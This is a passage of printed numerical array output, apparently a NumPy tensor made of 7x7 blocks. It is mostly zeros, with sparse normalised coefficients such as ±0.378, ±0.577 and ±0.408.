[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0.37796447],
[ 0. , 0. , 0. , 0. , 0. , -0.37796447, 0. ],
[ 0. , 0. , 0. , 0. , 0.37796447, 0. , 0. ],
[ 0. , 0. , 0. , -0.37796447, 0. , 0. , 0. ],
[ 0. , 0. , 0.37796447, 0. , 0. , 0. , 0. ],
[ 0. , -0.37796447, 0. , 0. , 0. , 0. , 0. ],
[ 0.37796447, 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]]]],
[[[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.57735027, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.57735027, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.57735027, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]]],
[[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.57735027, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.57735027, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.57735027, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.40824829, 0. , 0. ],
[ 0. , 0. , 0. , -0.40824829, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , -0.40824829, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.40824829, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.40824829, 0. , 0. , 0. ],
[ 0. , 0. , -0.40824829, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
